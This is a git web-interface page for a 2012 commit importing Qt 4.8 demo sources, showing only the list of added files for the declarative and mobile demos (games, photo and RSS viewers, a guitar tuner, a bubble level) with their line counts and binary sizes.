summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMatthew Vogt <matthew.vogt@nokia.com>2012-01-30 14:16:15 +1000
committerMatthew Vogt <matthew.vogt@nokia.com>2012-01-30 14:16:15 +1000
commit12a5ddf456ba8549645a8cb28a8b4ed6197a14da (patch)
tree63ee2c88af936e0609a3a194f5bcc304c4c0b707
Import relevant source from Qt 4.8
-rw-r--r--demos/declarative/calculator/calculator.desktop11
-rw-r--r--demos/declarative/calculator/calculator.pro39
-rw-r--r--demos/declarative/calculator/calculator.qmlproject16
-rw-r--r--demos/declarative/calculator/calculator.svg93
-rw-r--r--demos/declarative/calculator/calculator64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/calculator/calculator80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/calculator/calculator_harmattan.desktop11
-rw-r--r--demos/declarative/calculator/main.cpp60
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/Button.qml80
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/Display.qml68
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/calculator.js91
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-.pngbin0 -> 1288 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-blue.pngbin0 -> 1565 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-green.pngbin0 -> 1543 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-purple.pngbin0 -> 1566 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/button-red.pngbin0 -> 1586 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/images/display.pngbin0 -> 998 bytes
-rw-r--r--demos/declarative/calculator/qml/calculator/CalculatorCore/qmldir2
-rw-r--r--demos/declarative/calculator/qml/calculator/calculator.qml162
-rw-r--r--demos/declarative/declarative.pro15
-rw-r--r--demos/declarative/demos.qmlproject16
-rw-r--r--demos/declarative/flickr/flickr.desktop11
-rw-r--r--demos/declarative/flickr/flickr.pro39
-rw-r--r--demos/declarative/flickr/flickr.qmlproject16
-rw-r--r--demos/declarative/flickr/flickr.svg93
-rw-r--r--demos/declarative/flickr/flickr64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/flickr/flickr80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/flickr/flickr_harmattan.desktop11
-rw-r--r--demos/declarative/flickr/main.cpp54
-rw-r--r--demos/declarative/flickr/qml/flickr/common/Progress.qml73
-rw-r--r--demos/declarative/flickr/qml/flickr/common/RssModel.qml66
-rw-r--r--demos/declarative/flickr/qml/flickr/common/ScrollBar.qml81
-rw-r--r--demos/declarative/flickr/qml/flickr/common/Slider.qml91
-rw-r--r--demos/declarative/flickr/qml/flickr/common/qmldir10
-rw-r--r--demos/declarative/flickr/qml/flickr/flickr-90.qml52
-rw-r--r--demos/declarative/flickr/qml/flickr/flickr.qml125
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/Button.qml79
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/GridDelegate.qml111
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/ImageDetails.qml186
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/ListDelegate.qml64
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/TitleBar.qml128
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/ToolBar.qml69
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/gloss.pngbin0 -> 1236 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/lineedit.pngbin0 -> 1415 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/lineedit.sci5
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/quit.pngbin0 -> 2369 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/stripes.pngbin0 -> 257 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/titlebar.pngbin0 -> 1436 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/titlebar.sci5
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.pngbin0 -> 2550 bytes
-rw-r--r--demos/declarative/flickr/qml/flickr/mobile/images/toolbutton.sci5
-rw-r--r--demos/declarative/minehunt/README6
-rw-r--r--demos/declarative/minehunt/main.cpp62
-rw-r--r--demos/declarative/minehunt/minehunt.cpp221
-rw-r--r--demos/declarative/minehunt/minehunt.h129
-rw-r--r--demos/declarative/minehunt/minehunt.pro48
-rw-r--r--demos/declarative/minehunt/minehunt.qmlproject16
-rw-r--r--demos/declarative/minehunt/minehunt.qrc19
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/Explosion.qml65
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/Tile.qml128
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/back.pngbin0 -> 558 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/background.pngbin0 -> 313930 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb-color.pngbin0 -> 284 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/bomb.pngbin0 -> 535 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-sad.pngbin0 -> 14844 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile-big.pngbin0 -> 13810 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/face-smile.pngbin0 -> 15408 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag-color.pngbin0 -> 219 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/flag.pngbin0 -> 196 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/front.pngbin0 -> 580 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/quit.pngbin0 -> 583 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/MinehuntCore/pics/star.pngbin0 -> 2677 bytes
-rw-r--r--demos/declarative/minehunt/qml/minehunt/minehunt.qml112
-rw-r--r--demos/declarative/photoviewer/main.cpp54
-rw-r--r--demos/declarative/photoviewer/photoviewer.desktop11
-rw-r--r--demos/declarative/photoviewer/photoviewer.pro39
-rw-r--r--demos/declarative/photoviewer/photoviewer.qmlproject16
-rw-r--r--demos/declarative/photoviewer/photoviewer.svg93
-rw-r--r--demos/declarative/photoviewer/photoviewer64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/photoviewer/photoviewer80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/photoviewer/photoviewer_harmattan.desktop11
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/AlbumDelegate.qml146
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/BusyIndicator.qml50
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Button.qml72
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/EditableButton.qml86
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/PhotoDelegate.qml188
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/ProgressBar.qml57
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/RssModel.qml54
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/Tag.qml91
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/box-shadow.pngbin0 -> 588 bytes
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/busy.pngbin0 -> 2629 bytes
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/images/cardboard.pngbin0 -> 8844 bytes
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/qmldir8
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/PhotoViewerCore/script/script.js27
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/i18n/base.ts30
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.qmbin0 -> 268 bytes
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/i18n/qml_fr.ts30
-rw-r--r--demos/declarative/photoviewer/qml/photoviewer/photoviewer.qml110
-rw-r--r--demos/declarative/rssnews/main.cpp54
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/BusyIndicator.qml53
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/CategoryDelegate.qml82
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/NewsDelegate.qml71
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/RssFeeds.qml59
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/ScrollBar.qml107
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/images/busy.pngbin0 -> 2629 bytes
-rw-r--r--demos/declarative/rssnews/qml/rssnews/content/images/scrollbar.pngbin0 -> 161 bytes
-rw-r--r--demos/declarative/rssnews/qml/rssnews/rssnews.qml111
-rw-r--r--demos/declarative/rssnews/rssnews.desktop11
-rw-r--r--demos/declarative/rssnews/rssnews.pro39
-rw-r--r--demos/declarative/rssnews/rssnews.qmlproject16
-rw-r--r--demos/declarative/rssnews/rssnews.svg93
-rw-r--r--demos/declarative/rssnews/rssnews64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/rssnews/rssnews80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/rssnews/rssnews_harmattan.desktop11
-rw-r--r--demos/declarative/samegame/main.cpp54
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/BoomBlock.qml109
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/Button.qml75
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/Dialog.qml77
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/background.pngbin0 -> 313930 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStar.pngbin0 -> 278 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStone.pngbin0 -> 3054 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStar.pngbin0 -> 273 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStone.pngbin0 -> 2932 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStar.pngbin0 -> 274 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStone.pngbin0 -> 2902 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/star.pngbin0 -> 262 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/pics/yellowStone.pngbin0 -> 3056 bytes
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/qmldir3
-rw-r--r--demos/declarative/samegame/qml/samegame/SamegameCore/samegame.js288
-rw-r--r--demos/declarative/samegame/qml/samegame/highscores/README1
-rw-r--r--demos/declarative/samegame/qml/samegame/highscores/score_data.xml2
-rw-r--r--demos/declarative/samegame/qml/samegame/highscores/score_style.xsl28
-rw-r--r--demos/declarative/samegame/qml/samegame/highscores/scores.php34
-rw-r--r--demos/declarative/samegame/qml/samegame/samegame.qml161
-rw-r--r--demos/declarative/samegame/samegame.desktop11
-rw-r--r--demos/declarative/samegame/samegame.pro39
-rw-r--r--demos/declarative/samegame/samegame.qmlproject16
-rw-r--r--demos/declarative/samegame/samegame.svg93
-rw-r--r--demos/declarative/samegame/samegame64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/samegame/samegame80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/samegame/samegame_harmattan.desktop11
-rw-r--r--demos/declarative/snake/main.cpp54
-rw-r--r--demos/declarative/snake/qml/snake/content/Button.qml66
-rw-r--r--demos/declarative/snake/qml/snake/content/Cookie.qml93
-rw-r--r--demos/declarative/snake/qml/snake/content/HighScoreModel.qml139
-rw-r--r--demos/declarative/snake/qml/snake/content/Link.qml128
-rw-r--r--demos/declarative/snake/qml/snake/content/Skull.qml62
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/README1
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/background.pngbin0 -> 144508 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/blueStar.pngbin0 -> 272 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/blueStone.pngbin0 -> 3139 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/cookie.pngbin0 -> 2729 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/eyes.svg118
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/head.pngbin0 -> 3473 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/head.svg134
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/pause.pngbin0 -> 4327 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/redStar.pngbin0 -> 273 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/redStone.pngbin0 -> 3456 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/skull.pngbin0 -> 2543 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/snake.jpgbin0 -> 663901 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/star.pngbin0 -> 262 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/stoneShadow.pngbin0 -> 1699 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/yellowStar.pngbin0 -> 276 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/pics/yellowStone.pngbin0 -> 2667 bytes
-rw-r--r--demos/declarative/snake/qml/snake/content/snake.js316
-rw-r--r--demos/declarative/snake/qml/snake/snake.qml272
-rw-r--r--demos/declarative/snake/snake.desktop11
-rw-r--r--demos/declarative/snake/snake.pro39
-rw-r--r--demos/declarative/snake/snake.qmlproject16
-rw-r--r--demos/declarative/snake/snake.svg93
-rw-r--r--demos/declarative/snake/snake64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/snake/snake80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/snake/snake_harmattan.desktop11
-rw-r--r--demos/declarative/twitter/main.cpp54
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/Button.qml90
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/FatDelegate.qml105
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/Input.qml65
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/Loading.qml49
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/MultiTitleBar.qml60
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/RssModel.qml76
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/SearchView.qml124
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/TitleBar.qml130
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/ToolBar.qml64
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/UserModel.qml65
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/gloss.pngbin0 -> 1236 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.pngbin0 -> 1415 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.sci5
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/loading.pngbin0 -> 813 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/quit.pngbin0 -> 2369 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/stripes.pngbin0 -> 257 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.pngbin0 -> 1436 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.sci5
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.pngbin0 -> 2550 bytes
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.sci5
-rw-r--r--demos/declarative/twitter/qml/twitter/TwitterCore/qmldir10
-rw-r--r--demos/declarative/twitter/qml/twitter/twitter.qml134
-rw-r--r--demos/declarative/twitter/twitter.desktop11
-rw-r--r--demos/declarative/twitter/twitter.pro39
-rw-r--r--demos/declarative/twitter/twitter.qmlproject16
-rw-r--r--demos/declarative/twitter/twitter.svg93
-rw-r--r--demos/declarative/twitter/twitter64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/twitter/twitter80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/twitter/twitter_harmattan.desktop11
-rw-r--r--demos/declarative/webbrowser/main.cpp54
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/Button.qml65
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/FlickableWebView.qml195
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/Header.qml150
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/ScrollBar.qml107
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/UrlInput.qml96
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/display.pngbin0 -> 998 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/edit-delete.pngbin0 -> 831 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/go-jump-locationbar.pngbin0 -> 408 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/go-next-view.pngbin0 -> 1310 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/go-previous-view.pngbin0 -> 1080 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/scrollbar.pngbin0 -> 161 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/titlebar-bg.pngbin0 -> 213 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/content/pics/view-refresh.pngbin0 -> 2182 bytes
-rw-r--r--demos/declarative/webbrowser/qml/webbrowser/webbrowser.qml79
-rw-r--r--demos/declarative/webbrowser/webbrowser.desktop11
-rw-r--r--demos/declarative/webbrowser/webbrowser.pro39
-rw-r--r--demos/declarative/webbrowser/webbrowser.qmlproject16
-rw-r--r--demos/declarative/webbrowser/webbrowser.svg93
-rw-r--r--demos/declarative/webbrowser/webbrowser64.pngbin0 -> 3400 bytes
-rw-r--r--demos/declarative/webbrowser/webbrowser80.pngbin0 -> 4945 bytes
-rw-r--r--demos/declarative/webbrowser/webbrowser_harmattan.desktop11
-rw-r--r--demos/helper/helper.pro7
-rw-r--r--demos/helper/qmlapplicationviewer/qmlapplicationviewer.cpp226
-rw-r--r--demos/helper/qmlapplicationviewer/qmlapplicationviewer.h77
-rw-r--r--demos/helper/qmlapplicationviewer/qmlapplicationviewer.pri156
-rw-r--r--demos/mobile/guitartuner/guitartuner.pro89
-rw-r--r--demos/mobile/guitartuner/guitartuner.qrc43
-rw-r--r--demos/mobile/guitartuner/images/guitartab.svg174
-rw-r--r--demos/mobile/guitartuner/images/guitartuner_icon.svg247
-rw-r--r--demos/mobile/guitartuner/images/inputMode.svg161
-rw-r--r--demos/mobile/guitartuner/images/note.svg101
-rw-r--r--demos/mobile/guitartuner/images/noteNo.svg105
-rw-r--r--demos/mobile/guitartuner/src/application.qml328
-rw-r--r--demos/mobile/guitartuner/src/constants.h54
-rw-r--r--demos/mobile/guitartuner/src/fastfouriertransformer.cpp184
-rw-r--r--demos/mobile/guitartuner/src/fastfouriertransformer.h67
-rw-r--r--demos/mobile/guitartuner/src/fftpack.c1406
-rw-r--r--demos/mobile/guitartuner/src/guitartuner.cpp359
-rw-r--r--demos/mobile/guitartuner/src/guitartuner.h95
-rw-r--r--demos/mobile/guitartuner/src/guitartuner.rc23
-rw-r--r--demos/mobile/guitartuner/src/guitartuner.ui178
-rw-r--r--demos/mobile/guitartuner/src/guitartunerui.cpp341
-rw-r--r--demos/mobile/guitartuner/src/guitartunerui.h111
-rw-r--r--demos/mobile/guitartuner/src/guitartunerui.ui178
-rw-r--r--demos/mobile/guitartuner/src/main.cpp60
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/Adjuster.qml131
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/Meter.qml112
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/NoteButtonView.qml84
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/NotesModel.qml105
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/ToggleButton.qml110
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/adjustbars.js89
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/big_a.pngbin0 -> 575 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/big_b.pngbin0 -> 599 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/big_d.pngbin0 -> 465 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/big_e.pngbin0 -> 327 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/big_g.pngbin0 -> 610 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/glowing_a.pngbin0 -> 2978 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/glowing_b.pngbin0 -> 3084 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/glowing_d.pngbin0 -> 2940 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/glowing_e.pngbin0 -> 2696 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/glowing_g.pngbin0 -> 3046 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/guitartuner_malli.pngbin0 -> 143243 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/guitartuner_skin.pngbin0 -> 129068 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/lcdFrame.pngbin0 -> 176107 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/meterBG.pngbin0 -> 8378 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/mute.pngbin0 -> 3630 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/pointer.pngbin0 -> 965 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/pointerShadow.pngbin0 -> 1694 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/power.pngbin0 -> 3190 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/quit.pngbin0 -> 1363 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/sensitivity.pngbin0 -> 835 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_a.pngbin0 -> 3233 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_a_on.pngbin0 -> 3068 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_auto.pngbin0 -> 3619 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_auto_on.pngbin0 -> 3281 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_b.pngbin0 -> 3324 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_b_on.pngbin0 -> 3132 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_d.pngbin0 -> 3266 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_d_on.pngbin0 -> 3009 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_e.pngbin0 -> 3171 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_e_on.pngbin0 -> 2955 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_g.pngbin0 -> 3292 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/tuner_g_on.pngbin0 -> 3089 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/voicemode_off.pngbin0 -> 3775 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/voicemode_on.pngbin0 -> 3484 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/volume.pngbin0 -> 351 bytes
-rw-r--r--demos/mobile/guitartuner/src/mycomponents/images/volume_off.pngbin0 -> 2235 bytes
-rw-r--r--demos/mobile/guitartuner/src/voiceanalyzer.cpp295
-rw-r--r--demos/mobile/guitartuner/src/voiceanalyzer.h93
-rw-r--r--demos/mobile/guitartuner/src/voicegenerator.cpp246
-rw-r--r--demos/mobile/guitartuner/src/voicegenerator.h86
-rw-r--r--demos/mobile/qtbubblelevel/accelerometerfilter.cpp85
-rw-r--r--demos/mobile/qtbubblelevel/accelerometerfilter.h69
-rw-r--r--demos/mobile/qtbubblelevel/debian/changelog19
-rw-r--r--demos/mobile/qtbubblelevel/debian/compat1
-rw-r--r--demos/mobile/qtbubblelevel/debian/control12
-rw-r--r--demos/mobile/qtbubblelevel/debian/copyright36
-rw-r--r--demos/mobile/qtbubblelevel/debian/dirs2
-rw-r--r--demos/mobile/qtbubblelevel/debian/files1
-rw-r--r--demos/mobile/qtbubblelevel/debian/postinst5
-rw-r--r--demos/mobile/qtbubblelevel/debian/rules91
-rw-r--r--demos/mobile/qtbubblelevel/icons/26x26/qtbubblelevel.pngbin0 -> 1113 bytes
-rw-r--r--demos/mobile/qtbubblelevel/icons/40x40/qtbubblelevel.pngbin0 -> 2048 bytes
-rw-r--r--demos/mobile/qtbubblelevel/icons/64x64/qtbubblelevel.pngbin0 -> 4154 bytes
-rw-r--r--demos/mobile/qtbubblelevel/icons/bubblelevel.svg264
-rw-r--r--demos/mobile/qtbubblelevel/icons/qtbl_icon.pngbin0 -> 11181 bytes
-rw-r--r--demos/mobile/qtbubblelevel/icons/xpm/qtbubblelevel.xpm1783
-rw-r--r--demos/mobile/qtbubblelevel/main.cpp135
-rw-r--r--demos/mobile/qtbubblelevel/qml/BubbleLevel.qml225
-rw-r--r--demos/mobile/qtbubblelevel/qml/Button.qml71
-rw-r--r--demos/mobile/qtbubblelevel/qml/Tube.qml86
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/board.pngbin0 -> 520721 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/bubble.pngbin0 -> 4951 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/calibbutton.pngbin0 -> 4881 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/exit.pngbin0 -> 2308 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/reflection.pngbin0 -> 1306 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/scale.pngbin0 -> 271 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/signblank.pngbin0 -> 41230 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/signwithtext.pngbin0 -> 47648 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qml/images/taskswitcher.pngbin0 -> 767 bytes
-rw-r--r--demos/mobile/qtbubblelevel/qtbubblelevel.pro59
-rw-r--r--demos/mobile/qtbubblelevel/resources.qrc16
-rw-r--r--demos/mobile/qtbubblelevel/settings.h66
-rw-r--r--demos/mobile/qtbubblelevel/taskswitcher.cpp61
-rw-r--r--demos/mobile/qtbubblelevel/taskswitcher.h54
-rw-r--r--demos/mobile/quickhit/Button.qml86
-rw-r--r--demos/mobile/quickhit/Game.js180
-rw-r--r--demos/mobile/quickhit/Game.qml439
-rw-r--r--demos/mobile/quickhit/InvSounds.cpp189
-rw-r--r--demos/mobile/quickhit/InvSounds.h91
-rw-r--r--demos/mobile/quickhit/Menu.qml163
-rw-r--r--demos/mobile/quickhit/MenuItem.qml103
-rw-r--r--demos/mobile/quickhit/Message.qml147
-rw-r--r--demos/mobile/quickhit/Missile.qml143
-rw-r--r--demos/mobile/quickhit/MyShip.qml184
-rw-r--r--demos/mobile/quickhit/debian/changelog11
-rw-r--r--demos/mobile/quickhit/debian/compat1
-rw-r--r--demos/mobile/quickhit/debian/control11
-rw-r--r--demos/mobile/quickhit/debian/copyright8
-rw-r--r--demos/mobile/quickhit/debian/dirs2
-rw-r--r--demos/mobile/quickhit/debian/postinst5
-rw-r--r--demos/mobile/quickhit/debian/rules91
-rw-r--r--demos/mobile/quickhit/freesound.org.licence.txt24
-rw-r--r--demos/mobile/quickhit/ga_src/GEAudioBuffer.cpp391
-rw-r--r--demos/mobile/quickhit/ga_src/GEAudioBuffer.h137
-rw-r--r--demos/mobile/quickhit/ga_src/GEAudioOut.cpp144
-rw-r--r--demos/mobile/quickhit/ga_src/GEAudioOut.h89
-rw-r--r--demos/mobile/quickhit/ga_src/GEInterfaces.cpp177
-rw-r--r--demos/mobile/quickhit/ga_src/GEInterfaces.h88
-rw-r--r--demos/mobile/quickhit/gameengine.cpp592
-rw-r--r--demos/mobile/quickhit/gameengine.h148
-rw-r--r--demos/mobile/quickhit/gfx/back.pngbin0 -> 2234 bytes
-rw-r--r--demos/mobile/quickhit/gfx/background2.pngbin0 -> 113110 bytes
-rw-r--r--demos/mobile/quickhit/gfx/bigship.pngbin0 -> 98253 bytes
